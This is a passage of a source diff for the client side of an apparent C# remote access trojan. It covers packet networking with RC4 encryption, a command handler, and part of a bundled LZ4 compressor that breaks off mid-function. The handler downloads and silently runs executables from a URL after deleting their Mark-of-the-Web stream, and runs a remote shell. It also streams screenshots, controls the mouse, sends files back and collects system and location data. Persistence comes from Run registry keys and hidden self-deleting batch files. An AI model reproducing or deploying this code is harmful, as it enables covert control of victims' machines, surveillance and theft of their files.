||||
}
|
||||
|
||||
public void Send<T>(IPacket packet) where T : IPacket
|
||||
{
|
||||
lock (_sendQueue)
|
||||
{
|
||||
if (!Connected) return;
|
||||
|
||||
try
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
Serializer.SerializeWithLengthPrefix<T>(ms, (T)packet, PrefixStyle.Fixed32);
|
||||
|
||||
byte[] data = ms.ToArray();
|
||||
|
||||
Send(data);
|
||||
OnClientWrite(packet, data.LongLength, data);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private void Send(byte[] data)
|
||||
{
|
||||
if (!Connected)
|
||||
return;
|
||||
|
||||
if (encryptionEnabled)
|
||||
data = RC4.Encrypt(data, Settings.PASSWORD);
|
||||
|
||||
if (compressionEnabled)
|
||||
data = new LZ4.LZ4Compressor32().Compress(data);
|
||||
|
||||
_sendQueue.Enqueue(data);
|
||||
|
||||
if (!_processing[1])
|
||||
{
|
||||
_processing[1] = true;
|
||||
HandleSendQueue();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private void HandleSendQueue()
|
||||
{
|
||||
for (int i = 0; i < 5; i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (_sendIndex >= _sendBuffer.Length)
|
||||
{
|
||||
_sendIndex = 0;
|
||||
_sendBuffer = Header(_sendQueue.Dequeue());
|
||||
}
|
||||
|
||||
int write = Math.Min(_sendBuffer.Length - _sendIndex, BufferSize);
|
||||
|
||||
_item[1].SetBuffer(_sendBuffer, _sendIndex, write);
|
||||
|
||||
if (!_handle.SendAsync(_item[1]))
|
||||
Process(null, _item[1]);
|
||||
|
||||
return;
|
||||
}
|
||||
catch
|
||||
{
|
||||
continue;
|
||||
}
|
||||
}
|
||||
Disconnect();
|
||||
}
|
||||
|
||||
private byte[] Header(byte[] data)
|
||||
{
|
||||
byte[] T = new byte[data.Length + 4];
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(data.Length), 0, T, 0, 4);
|
||||
Buffer.BlockCopy(data, 0, T, 4, data.Length);
|
||||
return T;
|
||||
}
|
||||
|
||||
private void HandleRead(byte[] data, int index, int length)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (_readIndex >= _readBuffer.Length)
|
||||
{
|
||||
_readIndex = 0;
|
||||
int len = BitConverter.ToInt32(data, index);
|
||||
Array.Resize(ref _readBuffer, (len < 0) ? _readBuffer.Length : len);
|
||||
index += 4;
|
||||
}
|
||||
|
||||
int read = Math.Min(_readBuffer.Length - _readIndex, length - index);
|
||||
Buffer.BlockCopy(data, index, _readBuffer, _readIndex, read);
|
||||
_readIndex += read;
|
||||
|
||||
if (_readIndex >= _readBuffer.Length)
|
||||
{
|
||||
_asyncOperation.Post(x => OnClientRead((byte[])x), _readBuffer);
|
||||
}
|
||||
|
||||
if (read < (length - index))
|
||||
{
|
||||
HandleRead(data, index + read, length);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Disconnect();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,472 @@
|
|||
using Client;
|
||||
using Core.RemoteShell;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Core.Commands
|
||||
{
|
||||
public class CommandHandler
|
||||
{
|
||||
[DllImport("kernel32", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool DeleteFile(string name);
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool SetCursorPos(int x, int y);
|
||||
[DllImport("user32.dll")]
|
||||
private static extern void mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
|
||||
|
||||
private static Bitmap lastDesktopScreenshot = null;
|
||||
private static Shell shell = null;
|
||||
|
||||
private const int MOUSEEVENTF_LEFTDOWN = 0x02;
|
||||
private const int MOUSEEVENTF_LEFTUP = 0x04;
|
||||
private const int MOUSEEVENTF_RIGHTDOWN = 0x08;
|
||||
private const int MOUSEEVENTF_RIGHTUP = 0x10;
|
||||
|
||||
public static void HandleInitializeCommand(Core.Packets.ServerPackets.InitializeCommand command, Core.Client client)
|
||||
{
|
||||
SystemCore.InitializeGeoIp();
|
||||
new Core.Packets.ClientPackets.Initialize(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType, SystemCore.Country, SystemCore.CountryCode, SystemCore.Region, SystemCore.City, SystemCore.ImageIndex).Execute(client);
|
||||
}
|
||||
|
||||
public static void HandleDownloadAndExecuteCommand(Core.Packets.ServerPackets.DownloadAndExecute command, Core.Client client)
|
||||
{
|
||||
new Core.Packets.ClientPackets.Status("Downloading file...").Execute(client);
|
||||
|
||||
new Thread(new ThreadStart(() =>
|
||||
{
|
||||
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".exe"));
|
||||
|
||||
try
|
||||
{
|
||||
using (WebClient c = new WebClient())
|
||||
{
|
||||
c.Proxy = null;
|
||||
c.DownloadFile(command.URL, tempFile);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
new Core.Packets.ClientPackets.Status("Download failed!").Execute(client);
|
||||
return;
|
||||
}
|
||||
|
||||
new Core.Packets.ClientPackets.Status("Downloaded File!").Execute(client);
|
||||
|
||||
try
|
||||
{
|
||||
DeleteFile(tempFile + ":Zone.Identifier");
|
||||
|
||||
var bytes = File.ReadAllBytes(tempFile);
|
||||
if (bytes[0] != 'M' && bytes[1] != 'Z')
|
||||
throw new Exception("no pe file");
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo();
|
||||
if (command.RunHidden)
|
||||
{
|
||||
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
|
||||
startInfo.CreateNoWindow = true;
|
||||
}
|
||||
startInfo.UseShellExecute = command.RunHidden;
|
||||
startInfo.FileName = tempFile;
|
||||
Process.Start(startInfo);
|
||||
}
|
||||
catch
|
||||
{
|
||||
DeleteFile(tempFile);
|
||||
new Core.Packets.ClientPackets.Status("Execution failed!").Execute(client);
|
||||
return;
|
||||
}
|
||||
|
||||
new Core.Packets.ClientPackets.Status("Executed File!").Execute(client);
|
||||
})).Start();
|
||||
}
|
||||
|
||||
public static void HandleUninstall(Core.Packets.ServerPackets.Uninstall command, Core.Client client)
|
||||
{
|
||||
new Core.Packets.ClientPackets.Status("Uninstalling... bye ;(").Execute(client);
|
||||
|
||||
if (Settings.STARTUP)
|
||||
{
|
||||
if (SystemCore.AccountType == "Admin")
|
||||
{
|
||||
try
|
||||
{
|
||||
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
|
||||
if (key != null)
|
||||
{
|
||||
key.DeleteValue(Settings.STARTUPKEY, true);
|
||||
key.Close();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// try deleting from Registry.CurrentUser
|
||||
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
|
||||
if (key != null)
|
||||
{
|
||||
key.DeleteValue(Settings.STARTUPKEY, true);
|
||||
key.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
|
||||
if (key != null)
|
||||
{
|
||||
key.DeleteValue(Settings.STARTUPKEY, true);
|
||||
key.Close();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
}
|
||||
}
|
||||
|
||||
string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".bat"));
|
||||
|
||||
string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE) ?
|
||||
"@echo off" + "\n" +
|
||||
"echo DONT CLOSE THIS WINDOW!" + "\n" +
|
||||
"ping -n 15 localhost > nul" + "\n" +
|
||||
"del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
|
||||
"del " + "\"" + filename + "\""
|
||||
:
|
||||
"@echo off" + "\n" +
|
||||
"echo DONT CLOSE THIS WINDOW!" + "\n" +
|
||||
"ping -n 15 localhost > nul" + "\n" +
|
||||
"del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
|
||||
"del " + "\"" + filename + "\""
|
||||
;
|
||||
|
||||
File.WriteAllText(filename, uninstallBatch);
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo();
|
||||
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
|
||||
startInfo.CreateNoWindow = true;
|
||||
startInfo.UseShellExecute = true;
|
||||
startInfo.FileName = filename;
|
||||
Process.Start(startInfo);
|
||||
|
||||
SystemCore.Disconnect = true;
|
||||
client.Disconnect();
|
||||
}
|
||||
|
||||
public static void HandleRemoteDesktop(Core.Packets.ServerPackets.Desktop command, Core.Client client)
|
||||
{
|
||||
if (lastDesktopScreenshot == null)
|
||||
{
|
||||
lastDesktopScreenshot = Helper.GetDesktop(command.Mode, command.Number);
|
||||
|
||||
byte[] desktop = Helper.CImgToByte(lastDesktopScreenshot, System.Drawing.Imaging.ImageFormat.Jpeg);
|
||||
|
||||
new Core.Packets.ClientPackets.DesktopResponse(desktop).Execute(client);
|
||||
|
||||
desktop = null;
|
||||
}
|
||||
else
|
||||
{
|
||||
Bitmap currentDesktopScreenshot = Helper.GetDesktop(command.Mode, command.Number);
|
||||
|
||||
Bitmap changesScreenshot = Helper.GetDiffDesktop(lastDesktopScreenshot, currentDesktopScreenshot);
|
||||
|
||||
lastDesktopScreenshot = currentDesktopScreenshot;
|
||||
|
||||
byte[] desktop = Helper.CImgToByte(changesScreenshot, System.Drawing.Imaging.ImageFormat.Png);
|
||||
|
||||
new Core.Packets.ClientPackets.DesktopResponse(desktop).Execute(client);
|
||||
|
||||
desktop = null;
|
||||
changesScreenshot = null;
|
||||
currentDesktopScreenshot = null;
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleGetProcesses(Core.Packets.ServerPackets.GetProcesses command, Core.Client client)
|
||||
{
|
||||
Process[] pList = Process.GetProcesses();
|
||||
string[] processes = new string[pList.Length];
|
||||
int[] ids = new int[pList.Length];
|
||||
string[] titles = new string[pList.Length];
|
||||
|
||||
int i = 0;
|
||||
foreach (Process p in pList)
|
||||
{
|
||||
processes[i] = p.ProcessName + ".exe";
|
||||
ids[i] = p.Id;
|
||||
titles[i] = p.MainWindowTitle;
|
||||
i++;
|
||||
}
|
||||
|
||||
new Core.Packets.ClientPackets.GetProcessesResponse(processes, ids, titles).Execute(client);
|
||||
}
|
||||
|
||||
public static void HandleKillProcess(Core.Packets.ServerPackets.KillProcess command, Core.Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process.GetProcessById(command.PID).Kill();
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
|
||||
HandleGetProcesses(new Core.Packets.ServerPackets.GetProcesses(), client);
|
||||
}
|
||||
|
||||
public static void HandleStartProcess(Core.Packets.ServerPackets.StartProcess command, Core.Client client)
|
||||
{
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo();
|
||||
startInfo.UseShellExecute = true;
|
||||
startInfo.FileName = command.Processname;
|
||||
Process.Start(startInfo);
|
||||
|
||||
HandleGetProcesses(new Core.Packets.ServerPackets.GetProcesses(), client);
|
||||
}
|
||||
|
||||
public static void HandleDrives(Core.Packets.ServerPackets.Drives command, Core.Client client)
|
||||
{
|
||||
new Core.Packets.ClientPackets.DrivesResponse(System.Environment.GetLogicalDrives()).Execute(client);
|
||||
}
|
||||
|
||||
public static void HandleDirectory(Core.Packets.ServerPackets.Directory command, Core.Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
DirectoryInfo dicInfo = new System.IO.DirectoryInfo(command.RemotePath);
|
||||
|
||||
FileInfo[] iFiles = dicInfo.GetFiles();
|
||||
DirectoryInfo[] iFolders = dicInfo.GetDirectories();
|
||||
|
||||
string[] files = new string[iFiles.Length];
|
||||
long[] filessize = new long[iFiles.Length];
|
||||
string[] folders = new string[iFolders.Length];
|
||||
|
||||
int i = 0;
|
||||
foreach (FileInfo file in iFiles)
|
||||
{
|
||||
files[i] = file.Name;
|
||||
filessize[i] = file.Length;
|
||||
i++;
|
||||
}
|
||||
if (files.Length == 0)
|
||||
{
|
||||
files = new string[] { "$$$EMPTY$$$$" };
|
||||
filessize = new long[] { 0 };
|
||||
}
|
||||
|
||||
i = 0;
|
||||
foreach (DirectoryInfo folder in iFolders)
|
||||
{
|
||||
folders[i] = folder.Name;
|
||||
i++;
|
||||
}
|
||||
if (folders.Length == 0)
|
||||
folders = new string[] { "$$$EMPTY$$$$" };
|
||||
|
||||
new Core.Packets.ClientPackets.DirectoryResponse(files, folders, filessize).Execute(client);
|
||||
}
|
||||
catch
|
||||
{
|
||||
new Core.Packets.ClientPackets.DirectoryResponse(new string[] { "$$$EMPTY$$$$" }, new string[] { "$$$EMPTY$$$$" }, new long[] { 0 }).Execute(client);
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleDownloadFile(Core.Packets.ServerPackets.DownloadFile command, Core.Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] bytes = File.ReadAllBytes(command.RemotePath);
|
||||
new Core.Packets.ClientPackets.DownloadFileResponse(Path.GetFileName(command.RemotePath), bytes, command.ID).Execute(client);
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
}
|
||||
|
||||
public static void HandleMouseClick(Core.Packets.ServerPackets.MouseClick command, Core.Client client)
|
||||
{
|
||||
if (command.LeftClick)
|
||||
{
|
||||
SetCursorPos(command.X, command.Y);
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN, command.X, command.Y, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_LEFTUP, command.X, command.Y, 0, 0);
|
||||
if (command.DoubleClick)
|
||||
{
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN, command.X, command.Y, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_LEFTUP, command.X, command.Y, 0, 0);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
SetCursorPos(command.X, command.Y);
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN, command.X, command.Y, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_RIGHTUP, command.X, command.Y, 0, 0);
|
||||
if (command.DoubleClick)
|
||||
{
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN, command.X, command.Y, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_RIGHTUP, command.X, command.Y, 0, 0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleGetSystemInfo(Core.Packets.ServerPackets.GetSystemInfo command, Core.Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
new Core.Packets.ClientPackets.GetSystemInfoResponse(SystemCore.GetCpu(), SystemCore.GetRam(), SystemCore.GetGpu(), SystemCore.GetUsername(), SystemCore.GetPcName(), SystemCore.GetUptime(), SystemCore.GetLanIp(), SystemCore.WANIP).Execute(client);
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
}
|
||||
|
||||
public static void HandleVisitWebsite(Core.Packets.ServerPackets.VisitWebsite command, Core.Client client)
|
||||
{
|
||||
string url = command.URL;
|
||||
|
||||
if (!url.StartsWith("http"))
|
||||
url = "http://" + url;
|
||||
|
||||
if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
|
||||
{
|
||||
if (!command.Hidden)
|
||||
Process.Start(url);
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
HttpWebRequest Request = (HttpWebRequest)HttpWebRequest.Create(url);
|
||||
Request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36";
|
||||
Request.AllowAutoRedirect = true;
|
||||
Request.Timeout = 10000;
|
||||
Request.Method = "GET";
|
||||
HttpWebResponse Response = (HttpWebResponse)Request.GetResponse();
|
||||
Stream DataStream = Response.GetResponseStream();
|
||||
StreamReader reader = new StreamReader(DataStream);
|
||||
reader.Close();
|
||||
DataStream.Close();
|
||||
Response.Close();
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
}
|
||||
|
||||
new Core.Packets.ClientPackets.Status("Visited Website").Execute(client);
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleShowMessageBox(Core.Packets.ServerPackets.ShowMessageBox command, Core.Client client)
|
||||
{
|
||||
MessageBox.Show(null, command.Text, command.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon));
|
||||
new Core.Packets.ClientPackets.Status("Showed Messagebox").Execute(client);
|
||||
}
|
||||
|
||||
public static void HandleUpdate(Core.Packets.ServerPackets.Update command, Core.Client client)
|
||||
{
|
||||
// i dont like this updating... if anyone has a better idea feel free to edit it
|
||||
new Core.Packets.ClientPackets.Status("Downloading file...").Execute(client);
|
||||
|
||||
new Thread(new ThreadStart(() =>
|
||||
{
|
||||
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".exe"));
|
||||
|
||||
try
|
||||
{
|
||||
using (WebClient c = new WebClient())
|
||||
{
|
||||
c.Proxy = null;
|
||||
c.DownloadFile(command.DownloadURL, tempFile);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
new Core.Packets.ClientPackets.Status("Download failed!").Execute(client);
|
||||
return;
|
||||
}
|
||||
|
||||
new Core.Packets.ClientPackets.Status("Downloaded File!").Execute(client);
|
||||
|
||||
new Core.Packets.ClientPackets.Status("Updating...").Execute(client);
|
||||
|
||||
try
|
||||
{
|
||||
DeleteFile(tempFile + ":Zone.Identifier");
|
||||
|
||||
var bytes = File.ReadAllBytes(tempFile);
|
||||
if (bytes[0] != 'M' && bytes[1] != 'Z')
|
||||
throw new Exception("no pe file");
|
||||
|
||||
string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".bat"));
|
||||
|
||||
string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE) ?
|
||||
"@echo off" + "\n" +
|
||||
"echo DONT CLOSE THIS WINDOW!" + "\n" +
|
||||
"ping -n 15 localhost > nul" + "\n" +
|
||||
"del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
|
||||
"move " + "\"" + tempFile + "\"" + " " + "\"" + SystemCore.MyPath + "\"" + "\n" +
|
||||
"start \"\" " + "\"" + SystemCore.MyPath + "\"" + "\n" +
|
||||
"del " + "\"" + filename + "\""
|
||||
:
|
||||
"@echo off" + "\n" +
|
||||
"echo DONT CLOSE THIS WINDOW!" + "\n" +
|
||||
"ping -n 15 localhost > nul" + "\n" +
|
||||
"del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
|
||||
"move " + "\"" + tempFile + "\"" + " " + "\"" + SystemCore.MyPath + "\"" + "\n" +
|
||||
"start \"\" " + "\"" + SystemCore.MyPath + "\"" + "\n" +
|
||||
"del " + "\"" + filename + "\""
|
||||
;
|
||||
|
||||
File.WriteAllText(filename, uninstallBatch);
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo();
|
||||
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
|
||||
startInfo.CreateNoWindow = true;
|
||||
startInfo.UseShellExecute = true;
|
||||
startInfo.FileName = filename;
|
||||
Process.Start(startInfo);
|
||||
|
||||
SystemCore.Disconnect = true;
|
||||
client.Disconnect();
|
||||
}
|
||||
catch
|
||||
{
|
||||
DeleteFile(tempFile);
|
||||
new Core.Packets.ClientPackets.Status("Update failed!").Execute(client);
|
||||
return;
|
||||
}
|
||||
})).Start();
|
||||
}
|
||||
|
||||
public static void HandleMonitors(Core.Packets.ServerPackets.Monitors command, Core.Client client)
|
||||
{
|
||||
new Core.Packets.ClientPackets.MonitorsResponse(Screen.AllScreens.Length).Execute(client);
|
||||
}
|
||||
|
||||
public static void HandleShellCommand(Core.Packets.ServerPackets.ShellCommand command, Core.Client client)
|
||||
{
|
||||
if (shell == null)
|
||||
shell = new Shell();
|
||||
|
||||
string input = command.Command;
|
||||
|
||||
if (input == "exit")
|
||||
CloseShell();
|
||||
else
|
||||
shell.ExecuteCommand(input);
|
||||
}
|
||||
|
||||
public static void CloseShell()
|
||||
{
|
||||
if (shell != null)
|
||||
{
|
||||
shell.CloseSession();
|
||||
shell = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,402 @@
|
|||
using System;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace LZ4
|
||||
{
|
||||
/// <summary>
|
||||
/// Class for compressing a byte array into an LZ4 byte array.
|
||||
/// </summary>
|
||||
public unsafe class LZ4Compressor32
|
||||
{
|
||||
//**************************************
|
||||
// Tuning parameters
|
||||
//**************************************
|
||||
// COMPRESSIONLEVEL :
|
||||
// Increasing this value improves compression ratio
|
||||
// Lowering this value reduces memory usage
|
||||
// Reduced memory usage typically improves speed, due to cache effect (ex : L1 32KB for Intel, L1 64KB for AMD)
|
||||
// Memory usage formula : N->2^(N+2) Bytes (examples : 12 -> 16KB ; 17 -> 512KB)
|
||||
const int COMPRESSIONLEVEL = 12;
|
||||
|
||||
// NOTCOMPRESSIBLE_CONFIRMATION :
|
||||
// Decreasing this value will make the algorithm skip faster data segments considered "incompressible"
|
||||
// This may decrease compression ratio dramatically, but will be faster on incompressible data
|
||||
// Increasing this value will make the algorithm search more before declaring a segment "incompressible"
|
||||
// This could improve compression a bit, but will be slower on incompressible data
|
||||
// The default value (6) is recommended
|
||||
// 2 is the minimum value.
|
||||
const int NOTCOMPRESSIBLE_CONFIRMATION = 6;
|
||||
|
||||
//**************************************
|
||||
// Constants
|
||||
//**************************************
|
||||
const int HASH_LOG = COMPRESSIONLEVEL;
|
||||
const int MAXD_LOG = 16;
|
||||
const int MAX_DISTANCE = ((1 << MAXD_LOG) - 1);
|
||||
const int MINMATCH = 4;
|
||||
const int MFLIMIT = (LZ4Util.COPYLENGTH + MINMATCH);
|
||||
const int MINLENGTH = (MFLIMIT + 1);
|
||||
const uint LZ4_64KLIMIT = ((1U << 16) + (MFLIMIT - 1));
|
||||
const int HASHLOG64K = (HASH_LOG + 1);
|
||||
const int HASHTABLESIZE = (1 << HASH_LOG);
|
||||
const int HASH_MASK = (HASHTABLESIZE - 1);
|
||||
const int LASTLITERALS = 5;
|
||||
const int SKIPSTRENGTH = (NOTCOMPRESSIBLE_CONFIRMATION > 2 ? NOTCOMPRESSIBLE_CONFIRMATION : 2);
|
||||
const int SIZE_OF_LONG_TIMES_TWO_SHIFT = 4;
|
||||
const int STEPSIZE = 4;
|
||||
static byte[] DeBruijnBytePos = new byte[32] { 0, 0, 3, 0, 3, 1, 3, 0, 3, 2, 2, 1, 3, 2, 0, 1, 3, 3, 1, 2, 2, 2, 2, 0, 3, 1, 2, 0, 1, 0, 1, 1 };
|
||||
//**************************************
|
||||
// Macros
|
||||
//**************************************
|
||||
byte[] m_HashTable;
|
||||
|
||||
public LZ4Compressor32()
|
||||
{
|
||||
m_HashTable = new byte[HASHTABLESIZE * IntPtr.Size];
|
||||
if (m_HashTable.Length % 16 != 0)
|
||||
throw new Exception("Hash table size must be divisible by 16");
|
||||
}
|
||||
|
||||
|
||||
public byte[] Compress(byte[] source)
|
||||
{
|
||||
int maxCompressedSize = CalculateMaxCompressedLength(source.Length);
|
||||
byte[] dst = new byte[maxCompressedSize];
|
||||
int length = Compress(source, dst);
|
||||
byte[] dest = new byte[length];
|
||||
Buffer.BlockCopy(dst, 0, dest, 0, length);
|
||||
return dest;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Calculate the max compressed byte[] size given the size of the uncompressed byte[]
|
||||
/// </summary>
|
||||
/// <param name="uncompressedLength">Length of the uncompressed data</param>
|
||||
/// <returns>The maximum required size in bytes of the compressed data</returns>
|
||||
public int CalculateMaxCompressedLength(int uncompressedLength)
|
||||
{
|
||||
return uncompressedLength + (uncompressedLength / 255) + 16;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Compress source into dest returning compressed length
|
||||
/// </summary>
|
||||
/// <param name="source">uncompressed data</param>
|
||||
/// <param name="dest">array into which source will be compressed</param>
|
||||
/// <returns>compressed length</returns>
|
||||
public int Compress(byte[] source, byte[] dest)
|
||||
{
|
||||
fixed (byte* s = source)
|
||||
fixed (byte* d = dest)
|
||||
{
|
||||
if (source.Length < (int)LZ4_64KLIMIT)
|
||||
return Compress64K(s, d, source.Length, dest.Length);
|
||||
return Compress(s, d, source.Length, dest.Length);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Compress source into dest returning compressed length
|
||||
/// </summary>
|
||||
/// <param name="source">uncompressed data</param>
|
||||
/// <param name="srcOffset">offset in source array where reading will start</param>
|
||||
/// <param name="count">count of bytes in source array to compress</param>
|
||||
/// <param name="dest">array into which source will be compressed</param>
|
||||
/// <param name="dstOffset">start index in dest array where writing will start</param>
|
||||
/// <returns>compressed length</returns>
|
||||
public int Compress(byte[] source, int srcOffset, int count, byte[] dest, int dstOffset)
|
||||
{
|
||||
fixed (byte* s = &source[srcOffset])
|
||||
fixed (byte* d = &dest[dstOffset])
|
||||
{
|
||||
if (source.Length < (int)LZ4_64KLIMIT)
|
||||
return Compress64K(s, d, count, dest.Length - dstOffset);
|
||||
return Compress(s, d, count, dest.Length - dstOffset);
|
||||
}
|
||||
}
|
||||
|
||||
int Compress(byte* source, byte* dest, int isize, int maxOutputSize)
|
||||
{
|
||||
fixed (byte* hashTablePtr = m_HashTable)
|
||||
fixed (byte* deBruijnBytePos = DeBruijnBytePos)
|
||||
{
|
||||
Clear(hashTablePtr, sizeof(byte*) * HASHTABLESIZE);
|
||||
byte** hashTable = (byte**)hashTablePtr;
|
||||
|
||||
byte* ip = (byte*)source;
|
||||
int basePtr = 0; ;
|
||||
|
||||
byte* anchor = ip;
|
||||
byte* iend = ip + isize;
|
||||
byte* mflimit = iend - MFLIMIT;
|
||||
byte* matchlimit = (iend - LASTLITERALS);
|
||||
byte* oend = dest + maxOutputSize;
|
||||
|
||||
|
||||
byte* op = (byte*)dest;
|
||||
|
||||
int len, length;
|
||||
const int skipStrength = SKIPSTRENGTH;
|
||||
uint forwardH;
|
||||
|
||||
|
||||
// Init
|
||||
if (isize < MINLENGTH) goto _last_literals;
|
||||
|
||||
// First Byte
|
||||
hashTable[(((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - HASH_LOG))] = ip - basePtr;
|
||||
ip++; forwardH = (((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - HASH_LOG));
|
||||
|
||||
// Main Loop
|
||||
for (; ; )
|
||||
{
|
||||
uint findMatchAttempts = (1U << skipStrength) + 3;
|
||||
byte* forwardIp = ip;
|
||||
byte* r;
|
||||
byte* token;
|
||||
|
||||
// Find a match
|
||||
do
|
||||
{
|
||||
uint h = forwardH;
|
||||
uint step = findMatchAttempts++ >> skipStrength;
|
||||
ip = forwardIp;
|
||||
forwardIp = ip + step;
|
||||
|
||||
if (forwardIp > mflimit) { goto _last_literals; }
|
||||
|
||||
// LZ4_HASH_VALUE
|
||||
forwardH = (((*(uint*)forwardIp) * 2654435761U) >> ((MINMATCH * 8) - HASH_LOG));
|
||||
r = hashTable[h] + basePtr;
|
||||
hashTable[h] = ip - basePtr;
|
||||
|
||||
} while ((r < ip - MAX_DISTANCE) || (*(uint*)r != *(uint*)ip));
|
||||
|
||||
// Catch up
|
||||
while ((ip > anchor) && (r > (byte*)source) && (ip[-1] == r[-1])) { ip--; r--; }
|
||||
|
||||
// Encode Literal Length
|
||||
length = (int)(ip - anchor);
|
||||
token = op++;
|
||||
if (length >= (int)LZ4Util.RUN_MASK) { *token = (byte)(LZ4Util.RUN_MASK << LZ4Util.ML_BITS); len = (int)(length - LZ4Util.RUN_MASK); for (; len > 254; len -= 255) *op++ = 255; *op++ = (byte)len; }
|
||||
else *token = (byte)(length << LZ4Util.ML_BITS);
|
||||
|
||||
//Copy Literals
|
||||
{ byte* e = (op) + length; do { *(uint*)op = *(uint*)anchor; op += 4; anchor += 4; ; *(uint*)op = *(uint*)anchor; op += 4; anchor += 4; ; } while (op < e);; op = e; };
|
||||
|
||||
_next_match:
|
||||
// Encode Offset
|
||||
*(ushort*)op = (ushort)(ip - r); op += 2;
|
||||
|
||||
// Start Counting
|
||||
ip += MINMATCH; r += MINMATCH; // MinMatch verified
|
||||
anchor = ip;
|
||||
// while (*(uint *)r == *(uint *)ip)
|
||||
// {
|
||||
// ip+=4; r+=4;
|
||||
// if (ip>matchlimit-4) { r -= ip - (matchlimit-3); ip = matchlimit-3; break; }
|
||||
// }
|
||||
// if (*(ushort *)r == *(ushort *)ip) { ip+=2; r+=2; }
|
||||
// if (*r == *ip) ip++;
|
||||
|
||||
while (ip < matchlimit - (STEPSIZE - 1))
|
||||
{
|
||||
int diff = (int)(*(int*)(r) ^ *(int*)(ip));
|
||||
if (diff == 0) { ip += STEPSIZE; r += STEPSIZE; continue; }
|
||||
ip += DeBruijnBytePos[((uint)((diff & -diff) * 0x077CB531U)) >> 27]; ;
|
||||
goto _endCount;
|
||||
}
|
||||
|
||||
